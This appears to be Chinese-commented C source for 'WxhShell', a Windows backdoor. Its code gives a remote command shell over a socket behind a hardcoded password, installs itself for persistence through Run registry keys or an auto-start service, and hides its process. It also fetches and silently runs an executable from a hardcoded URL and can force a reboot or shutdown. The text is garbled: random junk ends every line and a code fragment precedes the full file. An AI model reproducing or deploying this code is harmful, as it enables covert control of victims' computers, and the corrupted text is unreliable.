    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ->6 /L)  
    else { zHG KPuk'  
    closesocket(wsh); Wd_bDZQ  
    ExitThread(0); OZ&J'Y  
    } @}!1Uk3ud  
    break; {#: js  
    } upQ:C>S  
  // 获取shell T.d+@ZV<#  
  case 's': { Q7&Yy25   
    CmdShell(wsh); uaNJTob  
    closesocket(wsh); %'"#X?jk1  
    ExitThread(0); +Q If7=  
    break; zAC   
  } 9'o!9_j  
  // 退出 cE/7B'cR  
  case 'x': { m'KY;C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y1,L0v$=}  
    CloseIt(wsh); @y;N u   
    break; l] WV gu  
    } #w*1 !  
  // 离开 1 <.I2\^  
  case 'q': { SWD v\Vr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @R9zLL6#7  
    closesocket(wsh); ^HLi1w|  
    WSACleanup(); Z6!MX_ep  
    exit(1); UA!h[+Z  
    break; D5\$xdlJy  
        } :t?9$ dL  
  } -. L)-%wIV  
  } N $M#3Y;  
Z%D*2wm4  
  // 提示信息 Z_}vjk~s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7e/Uc!&*  
} 1B+MCt4  
  } Zd1+ZH  
/[VafR!  
  return; (BVLlOo?J  
} P.gk'\<k  
(;$ J5  
// shell模块句柄 Vg#s  
int CmdShell(SOCKET sock) ^5qX+!3r{  
{ ; @ h{-@  
STARTUPINFO si; -?!|W-}@G=  
ZeroMemory(&si,sizeof(si)); @%IZKYf c~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p \; * :  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @4B+<,i   
PROCESS_INFORMATION ProcessInfo; R<Ojaj=V  
char cmdline[]="cmd"; H;k;%Zg;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QN9$n%Z  
  return 0; !oLrN/-  
} R,C)|*ef  
0J_ AX  
// 自身启动模式 5znLpBX<N  
int StartFromService(void) }e6Ta_Z~  
{ n <6}  
typedef struct LU_@8i:  
{ `~WxMY0M  
  DWORD ExitStatus; 8Z4d<DIJ  
  DWORD PebBaseAddress; [y\ZnoB  
  DWORD AffinityMask; X1]&j2WR  
  DWORD BasePriority; W'E!5T^  
  ULONG UniqueProcessId; 8X!UtHml  
  ULONG InheritedFromUniqueProcessId; [z]@ <99/  
}   PROCESS_BASIC_INFORMATION; p/:)Z_  
D'YF [l  
PROCNTQSIP NtQueryInformationProcess; v'a]SpE5  
|A8Ar7)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O_ nk8  
@/lLL GrZ"  
  HANDLE             hProcess; W,`u5gbT  
  PROCESS_BASIC_INFORMATION pbi; f~jx2?W  
u6'vzLmM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @CP"AYB #  
  if(NULL == hInst ) return 0; jC*(ZF1B  
q]0a8[]3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (ivV[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8 2&JYx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V5i_\A  
D7X-|`kH  
  if (!NtQueryInformationProcess) return 0; `. /[/ z-g  
%/,PY>:|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XLwbA4ORq  
  if(!hProcess) return 0; ];R5[%:5  
u'd+:uH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f62z9)`^  
W:aAe%S  
  CloseHandle(hProcess); yc+#LZ~(a  
VBF3N5 ;W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K?BWl:^x  
if(hProcess==NULL) return 0; |H2{%!  
:bE ^b  
HMODULE hMod; P|v;'9  
char procName[255]; /SY40;k:  
unsigned long cbNeeded; - DlKFN  
NS#qein~i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oIt.Pc~;'#  
zG[fPD  
  CloseHandle(hProcess); doBfpQ2  
o$\ {&:y  
if(strstr(procName,"services")) return 1; // 以服务启动 ?|%^'(U}  
/R''R:j  
  return 0; // 注册表启动 H:`W\CP7_  
} W([)b[-*  
0'Tq W9P  
// 主模块 +%>s\W+?]  
int StartWxhshell(LPSTR lpCmdLine) PkLRQ}  
{ C(3yJzg>y  
  SOCKET wsl; i`gsT[JQRX  
BOOL val=TRUE; P~#!-9?  
  int port=0; =3{h9  
  struct sockaddr_in door; ~4U[p  50  
b)en/mz  
  if(wscfg.ws_autoins) Install(); C:hfI;*7  
>L$y|8 O  
port=atoi(lpCmdLine); s^^X.z ,  
5w gtc~  
if(port<=0) port=wscfg.ws_port; Q#}} 1}Ja  
(i|`PA  
  WSADATA data; %bt2^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MKJ9PcVi  
pCb@4n b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (gNI6;P;}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %\}|&z6  
  door.sin_family = AF_INET; DHbLS3-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  s+[_5n~  
  door.sin_port = htons(port); q5BJsw  
TIW6v4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !Wvzum@5D  
closesocket(wsl); =gGK243  
return 1; (u]ft]z,-B  
} HoT5 5v!o  
u z ` H  
  if(listen(wsl,2) == INVALID_SOCKET) { 7\"-<z;kK  
closesocket(wsl); LOX[h$  
return 1; x~$P.X7(~  
} T?) U|  
  Wxhshell(wsl); ~r]ZD)  
  WSACleanup(); )3.udx  
6O"Vy  
return 0; 'M_8U0k  
<eO 7b6_  
} F@ZG| &  
a,d\< mx  
// 以NT服务方式启动 Ki^m&P   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wC{ =o`v  
{ ~"gOq"y 5p  
DWORD   status = 0; L -b~#  
  DWORD   specificError = 0xfffffff; u,PrEmy-  
m,K\e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RL~\/#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #Jy+:|jJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L FHyiIO  
  serviceStatus.dwWin32ExitCode     = 0; |O+R%'z'<  
  serviceStatus.dwServiceSpecificExitCode = 0; E5jK}1t4V  
  serviceStatus.dwCheckPoint       = 0; /Or76kE  
  serviceStatus.dwWaitHint       = 0; y@~.b^?_u  
`y;&M8.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z:+Xs!S  
  if (hServiceStatusHandle==0) return; ;)83tx /  
3Nr8H.u&q  
status = GetLastError(); *gMuo6  
  if (status!=NO_ERROR) Y;e@ `.(  
{ 4-E9a_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a gBKp!  
    serviceStatus.dwCheckPoint       = 0; )Si`>o3T-.  
    serviceStatus.dwWaitHint       = 0; 2a5yJeaIv*  
    serviceStatus.dwWin32ExitCode     = status; *W(b=u  
    serviceStatus.dwServiceSpecificExitCode = specificError; -3wg9uZ &  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SQvicZAN)`  
    return; y3 LWh}~E  
  } (-B0fqh=G  
cC"7Vt9b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'V4.umj1~  
  serviceStatus.dwCheckPoint       = 0; t82Bp[t  
  serviceStatus.dwWaitHint       = 0; IhM-a Y y5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CS50wY  
} S&_ZQLiQ$  
_]j=[|q 9  
// 处理NT服务事件,比如:启动、停止 cn<9!2a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $ n  n4  
{ Vn];vN  
switch(fdwControl) VY=~cVkzS  
{ GY@Np^>[a  
case SERVICE_CONTROL_STOP: 9rn!U2  
  serviceStatus.dwWin32ExitCode = 0; ,{J2i#g<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _=U XNr8S  
  serviceStatus.dwCheckPoint   = 0; EIEwrC  
  serviceStatus.dwWaitHint     = 0; {4}Sl^kn*  
  { V *S|Qy!p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |8`}yRsQ  
  } [DGq{(O  
  return; A"vI6ud>  
case SERVICE_CONTROL_PAUSE: - CM;sXq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WVy"MD  
  break; N%y%)MI8  
case SERVICE_CONTROL_CONTINUE: x~Se-#$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4z#CkT  
  break; ?B@hCd)  
case SERVICE_CONTROL_INTERROGATE: 9tl Fbu  
  break; n0 !S;HH-  
}; gJs~kQU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `'0opoQRe  
} Y)BKRS~  
5kC#uk  
// 标准应用程序主函数 +8Peh9"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .IF dJ  
{ A javV  
<u->hT  
// 获取操作系统版本 )I1LBvfQ  
OsIsNt=GetOsVer(); Y]Su<t gX?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p7.@ez ;  
Q>TaaGc  
  // 从命令行安装 <@F4{*  
  if(strpbrk(lpCmdLine,"iI")) Install(); OX8jCW  
Q{>9Dg  
  // 下载执行文件 o }Tv^>L  
if(wscfg.ws_downexe) { ~{2@-qcm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /%)M lG  
  WinExec(wscfg.ws_filenam,SW_HIDE); XKks j!'B  
} `+"QhQ4 w  
EnwiE  
if(!OsIsNt) { 8Yb/ c*  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^,U&v;   
HideProc(); (O?z6g  
StartWxhshell(lpCmdLine); <6v7_  
} B-@f.NO/s  
else Ta9;;B?$  
  if(StartFromService()) *D4H;P#  
  // 以服务方式启动 I62Yg p$K  
  StartServiceCtrlDispatcher(DispatchTable); P-+^YN,  
else fK4laDB TO  
  // 普通方式启动 C$,S#n@  
  StartWxhshell(lpCmdLine); nr s!e  
E62*J$wN@  
return 0; TuaT-Z~U{  
} u6(7#n02  
Z>CFH9  
oL VtP  
azE>uEsE  
=========================================== fC~WuG 3  
uVp R^  
K =7(=Y{  
1$xt=*.u|  
D+ jk0*bJ  
{qOSs,+=L  
" G1| Tu"  
&qe:|M  
#include <stdio.h> l#Qf8*0  
#include <string.h> }$$b6G  
#include <windows.h> @B&hR} 4  
#include <winsock2.h>  ISq^V  
#include <winsvc.h> ]'M4Unu#@  
#include <urlmon.h> =#y&xWxL  
]}'WNy6c&x  
#pragma comment (lib, "Ws2_32.lib") EEkO[J[=  
#pragma comment (lib, "urlmon.lib") !knYD}Rxd  
%>JqwMK  
#define MAX_USER   100 // 最大客户端连接数 NugJjd56x  
#define BUF_SOCK   200 // sock buffer `P# h?tZ  
#define KEY_BUFF   255 // 输入 buffer ]0`[L<_r  
 t%FS 5  
#define REBOOT     0   // 重启 [X~H Uk??  
#define SHUTDOWN   1   // 关机 vW]BOzK  
ipU"|{NK  
#define DEF_PORT   5000 // 监听端口 }bB_[+YV`{  
f(##P|3>R  
#define REG_LEN     16   // 注册表键长度 .(`u'G=  
#define SVC_LEN     80   // NT服务名长度 +A:}5{  
ZnmBb_eX  
// 从dll定义API K0+J!- a]7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8eLNKgc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ):.]4n{L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Jwa2Y0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g$]9xn#_[  
VF[]E0=u6  
// wxhshell配置信息 !PQ@"L)p  
struct WSCFG { BF]b\/I  
  int ws_port;         // 监听端口 DtZkrj)D/  
  char ws_passstr[REG_LEN]; // 口令 pD &\Z~5T  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'etCIl3  
  char ws_regname[REG_LEN]; // 注册表键名 xNm<` Y?  
  char ws_svcname[REG_LEN]; // 服务名 +'lfW{E1t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hwC3['  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~L}0) FZ\9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fx_7B (  
int ws_downexe;       // 下载执行标记, 1=yes 0=no VBd.5YW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RrRCT.+E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z~]17{x0  
zL7+HY* 3o  
}; nR ,j1IUF  
ap=M$9L'  
// default Wxhshell configuration  =v8#@$  
struct WSCFG wscfg={DEF_PORT, nE/T)[1|  
    "xuhuanlingzhe", H"n"Q:Yp  
    1, E%40u.0  
    "Wxhshell", /5wvXk|@  
    "Wxhshell", 1;H(   
            "WxhShell Service", nQ/El&{  
    "Wrsky Windows CmdShell Service", `qr[0wM  
    "Please Input Your Password: ", ea B-u  
  1, rV1JJ.I  
  "http://www.wrsky.com/wxhshell.exe", \hm=AGI0  
  "Wxhshell.exe" ?MN?.O9-  
    }; /Wzic+v<>  
SM@1<OCc  
// 消息定义模块 O(!wDnhc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Os[^ch  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .}z&$:U9[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5[;p<GqGN  
char *msg_ws_ext="\n\rExit."; FC)aR[  
char *msg_ws_end="\n\rQuit.";  /@%  
char *msg_ws_boot="\n\rReboot..."; M)-+j{<  
char *msg_ws_poff="\n\rShutdown..."; H!s &]b  
char *msg_ws_down="\n\rSave to "; ZT|E1[Q  
~+4OG 0  
char *msg_ws_err="\n\rErr!"; #V~r@,  
char *msg_ws_ok="\n\rOK!"; bup;4~g  
Ig S.U  
char ExeFile[MAX_PATH]; O":x$>'t  
int nUser = 0; /Nxy?g|,  
HANDLE handles[MAX_USER]; s V{[~U,|  
int OsIsNt; !d"J,.)  
9ft7  
SERVICE_STATUS       serviceStatus; ,.F,]m=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <0Q`:'\.>  
UT>\u  
// 函数声明 O </<  
int Install(void); 7@C :4c@0  
int Uninstall(void); ~KrzJp=5F  
int DownloadFile(char *sURL, SOCKET wsh); 6rPe\'n=B  
int Boot(int flag); /FB'  
void HideProc(void); x{IOn;>R  
int GetOsVer(void); /G</ [N5  
int Wxhshell(SOCKET wsl); whRc YnJ  
void TalkWithClient(void *cs); |\elM[G"g  
int CmdShell(SOCKET sock); wUl}x)xo  
int StartFromService(void); 9jJ&QACn  
int StartWxhshell(LPSTR lpCmdLine); DJ=miJI'  
HO$s&}t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 191O(H  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  ;m7$U  
k>2 xm  
// 数据结构和表定义 w^P4_Yr  
SERVICE_TABLE_ENTRY DispatchTable[] = 0M:.Jhp  
{ "-N%`UA  
{wscfg.ws_svcname, NTServiceMain}, 'w!Hjq]$  
{NULL, NULL} O/0m|~`iY  
}; + PGfQN  
lE%0ifu  
// 自我安装 22(0Jb\_  
int Install(void) '{Iv?gh"  
{ g+)T\_#u  
  char svExeFile[MAX_PATH]; ~ ]o .Mv a  
  HKEY key; whxE[Xnv  
  strcpy(svExeFile,ExeFile); ~Kt.%K5lgt  
")cdY) 14"  
// 如果是win9x系统,修改注册表设为自启动 {:'e H  
if(!OsIsNt) {  27w]Q_C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8n1Sy7K!;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); He&dVP  
  RegCloseKey(key); ]< TgBo|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UB(Q &U_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |67<h5Q1  
  RegCloseKey(key); aBol9`6  
  return 0; u[ "Pg  
    } O@?? NF6G  
  } l[rIjyL@  
} EPdR-dC^wE  
else { @S<=Okrlj  
ezy0m}@   
// 如果是NT以上系统,安装为系统服务 @[.%A;E4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l}Jf;C*j1z  
if (schSCManager!=0) kS3wa3bT  
{ (<2PhJ|  
  SC_HANDLE schService = CreateService +KXg&A/^  
  ( Q4q3M=0  
  schSCManager, " c}pY^(  
  wscfg.ws_svcname, %6dFACv  
  wscfg.ws_svcdisp, ; l+3l ez  
  SERVICE_ALL_ACCESS, %w_h8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (g4.bbEm  
  SERVICE_AUTO_START, [C/h{WPC-  
  SERVICE_ERROR_NORMAL, !</5 )B`5:  
  svExeFile, "4}{Z)&R2  
  NULL, d];E99}  
  NULL, :+m|KC(Z  
  NULL, gb8nST$r  
  NULL, >wz-p nD  
  NULL !:a pu!  
  ); @dD70T  
  if (schService!=0) (fb&5=Wzw  
  { C6:<.`iD87  
  CloseServiceHandle(schService); !x|OgvJ  
  CloseServiceHandle(schSCManager); 'mG[#M/Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )\'U$  
  strcat(svExeFile,wscfg.ws_svcname); [ gx<7}[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )^L+iht  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l`fjz-eE  
  RegCloseKey(key); |jF)~k6  
  return 0;  2o?!m2W  
    }  :v8j3=  
  } ki=-0G*]  
  CloseServiceHandle(schSCManager); Tld %NE  
} }4  5|  
} lLyMm8E%pZ  
doVBVTk^  
return 1; O0';j!?X  
} BTgL:  
Cddw\|'3  
// 自我卸载 >mi%L3Pk  
int Uninstall(void) wp$C J09f*  
{ nlw(U3@7  
  HKEY key; ??ah  
d,6 Z  
if(!OsIsNt) { vw>O;u.]B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M($dh9A_  
  RegDeleteValue(key,wscfg.ws_regname); v8Bi1,g  
  RegCloseKey(key); D8C@x`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <eI7xifD  
  RegDeleteValue(key,wscfg.ws_regname); f-tjMa /_  
  RegCloseKey(key); %'%r.  
  return 0; h 5t,5e}  
  } `lqMifD  
} <s)+V6 \E  
} 2?nK71c"  
else { qun#z$  
$xa#+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7V%}U5  
if (schSCManager!=0) CKmoC0.  
{ MjQKcL4%7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Vq -!1.v3  
  if (schService!=0) rwv_ RN  
  { 2.Th29]  
  if(DeleteService(schService)!=0) { tB8XnO_c  
  CloseServiceHandle(schService); o[!]xmj  
  CloseServiceHandle(schSCManager); +_3> T''_  
  return 0; ePP-&V"`"  
  } Xu3o,k  
  CloseServiceHandle(schService); E<>n0",  
  } (Lo<3a-]  
  CloseServiceHandle(schSCManager); Jou~>0,/j  
} m .le' &  
} 6Z\[{S];  
$._p !,<  
return 1; ;.'2ZNt2  
} v%VCFJ  
VSc;}LH  
// 从指定url下载文件 B=JeZMn  
int DownloadFile(char *sURL, SOCKET wsh) `7LN?- T  
{ 4?jXbC k~x  
  HRESULT hr; {~.h;'m  
char seps[]= "/"; i$?i1z*c}  
char *token; XTXRC$B  
char *file; q{[}*%  
char myURL[MAX_PATH]; ?r"m*fY%  
char myFILE[MAX_PATH]; F'|D  
Xd!=1 ::  
strcpy(myURL,sURL); Azxy!gDT"  
  token=strtok(myURL,seps); ^ RU"v>  
  while(token!=NULL) "|gNNmr  
  { bT@3fuL4  
    file=token; P"cc$lB~I  
  token=strtok(NULL,seps); hS OAjS  
  } ;sT7c1X^!  
N^Xb_jg;J  
GetCurrentDirectory(MAX_PATH,myFILE); G sm5L<rx  
strcat(myFILE, "\\"); V)^nVD)e  
strcat(myFILE, file); w[qWr@  
  send(wsh,myFILE,strlen(myFILE),0); hvnZ 2x.?d  
send(wsh,"...",3,0); RM|<(kq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >t.2!Z_RQ  
  if(hr==S_OK) 5lu620o  
return 0; KcF2}+iM   
else xwW[6Ah  
return 1; #6[FGM  
& ;ie+/B  
} q*SX.A>YR  
vq B)PL5)  
// 系统电源模块 L0/0<d(K  
int Boot(int flag) s_y Y,Z:  
{ }Gqx2 )H  
  HANDLE hToken; }b ~;x6  
  TOKEN_PRIVILEGES tkp; MW=2GhD=  
\(R(S!xr_  
  if(OsIsNt) { DI'wZySS^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .Vj;[p8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3+;]dqZ  
    tkp.PrivilegeCount = 1; v<,? %(g)7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CL5u{i5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B5hk]=Ud  
if(flag==REBOOT) { iEux`CcJ.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =5a~xlBjD  
  return 0; Q+*o-  
} d}GO(  
else { '=EaZ>=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ExqI=k`Zs  
  return 0; hs}nI/#  
} \::<]  
  } S\ JV96  
  else { AfpB=3  
if(flag==REBOOT) { k%?wNk>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }Y~o =3-  
  return 0; ]i3 2-8%  
} ^n"ve2   
else { US 9cuah1/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &EYO[~D06  
  return 0; ?*zRM?*  
} |d?0ZA:z  
} rLGh>bw#`3  
r4D*$H-rR  
return 1; hhLEU_U  
} HA&][%^  
Lj6$?(x}  
// win9x进程隐藏模块 ~rN~Ql%S  
void HideProc(void) GxL5yeN@(  
{ #uVH~P5TM  
i=#<0!m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'Pk ( 1:  
  if ( hKernel != NULL ) } :P/eY  
  { !run3ip`Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0&E{[~Pv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X3 D(2W  
    FreeLibrary(hKernel); \b?z\bC56  
  } "yxIaTZu  
@jAuSBy  
return; @x3x/g U  
} % zHsh  
-bdF=  
// 获取操作系统版本 WBLfxr  
int GetOsVer(void) xw(KSPN  
{ SE&J)Sj]  
  OSVERSIONINFO winfo; S-Mn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kaQn'5  
  GetVersionEx(&winfo); m!L&_ Z|j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %?1k}(qUeY  
  return 1; 02q]^3  
  else rwGY)9 |  
  return 0; 73OFFKbsk  
} 8Ih+^Y a  
3yn>9qt  
// 客户端句柄模块 N|Mzj|i.  
int Wxhshell(SOCKET wsl) HWG5Ghu8,)  
{ )<-\ F%&b  
  SOCKET wsh; Eqj&SA  
  struct sockaddr_in client; /DA'p[,  
  DWORD myID; 6 6WAD$8$  
Ll\y2oJ  
  while(nUser<MAX_USER) RZi]0l_A'  
{ [GJ_]w^}j  
  int nSize=sizeof(client); #)QR^ss)iw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yyb8l l?@a  
  if(wsh==INVALID_SOCKET) return 1; NCbn<ojb  
%GQPiWu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nm2bBX,fh  
if(handles[nUser]==0) ?a+>%uWt  
  closesocket(wsh); UM%]A'h2O"  
else l?LwQmq6  
  nUser++; a[bu{Z]%  
  } 42kr&UY&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); & F\HR  
gZF-zhnC  
  return 0; GZ( W6 4  
} 8%q:lI  
C qOvVv  
// 关闭 socket ^=Q/ H  
void CloseIt(SOCKET wsh) B%QvFxZz  
{ H5j6$y|I|N  
closesocket(wsh); E Mq P  
nUser--; b"n0Yk1  
ExitThread(0); o<Hk/e~  
} {Hg.ctam  
97;`R[^J  
// 客户端请求句柄 N K.]yw'  
void TalkWithClient(void *cs) \7o&'zEw  
{ 9}LcJ  
P0,@#M&  
  SOCKET wsh=(SOCKET)cs; H=O/w3  
  char pwd[SVC_LEN]; +Z99x#  
  char cmd[KEY_BUFF]; da<B6!  
char chr[1]; @."_XL74  
int i,j; PoTJ4z  
6wK>SW)#&j  
  while (nUser < MAX_USER) { g93-2k,  
;G_{$)P.o  
if(wscfg.ws_passstr) { CR3<9=Lv>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DtLga[M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VJquB8?H  
  //ZeroMemory(pwd,KEY_BUFF); %" kF i  
      i=0; w@,Yj#_9cx  
  while(i<SVC_LEN) { ;cKN5#7  
R"%zmA@o=  
  // 设置超时 NH+?7rf8  
  fd_set FdRead; L|O[u^  
  struct timeval TimeOut; x{y}pH"H  
  FD_ZERO(&FdRead); }Fs;sfH  
  FD_SET(wsh,&FdRead); *9Eep~ 6  
  TimeOut.tv_sec=8; \~u7 k  
  TimeOut.tv_usec=0; K@yLcgr{O2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *l\wl @{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OI:G~Wg  
?Vg251-H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jNRR=0  
  pwd=chr[0]; RN2^=$'.  
  if(chr[0]==0xd || chr[0]==0xa) { Itaq4^CE  
  pwd=0; Y~vyCU5nWR  
  break; W.u+R?a=  
  } xv|?;Zf6w  
  i++; eQK}J]S<  
    } (SMnYh4  
zM:&`6;e  
  // 如果是非法用户,关闭 socket ]34fG3D|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kF{'?R5 w  
} #_oN.1u57  
0m8mHJ<&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :De@_m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c:? tn  
$#2zxpr,  
while(1) { r:rM~``  
\piB*"ln  
  ZeroMemory(cmd,KEY_BUFF); ITpo:"X g  
1{%3OG^'  
      // 自动支持客户端 telnet标准   \mGx-g6  
  j=0; v/ $~ifY"  
  while(j<KEY_BUFF) { 8rZJvE#c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  8kn> ?  
  cmd[j]=chr[0]; ] {sx#|_S  
  if(chr[0]==0xa || chr[0]==0xd) { 0<ze'FbV]  
  cmd[j]=0; >aw`kr  
  break; ^~dBO %M^  
  } Ui:WbH<b{  
  j++; ,oin<K  
    } ?LxBH -o(  
R%%Uw %`  
  // 下载文件 z8VcV*6  
  if(strstr(cmd,"http://")) { Dt#( fuk#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &|]GTN`E  
  if(DownloadFile(cmd,wsh)) \ t=ls  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %?sPKOh3N}  
  else d+m}Z>iQ1O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xh5&J9pw   
  } o&U'zaj  
  else { UR{OrNg*  
;L`NF"  
    switch(cmd[0]) { &eA!h  
  S'  <X)  
  // 帮助 &m PR[{  
  case '?': { ;#/Uo8  
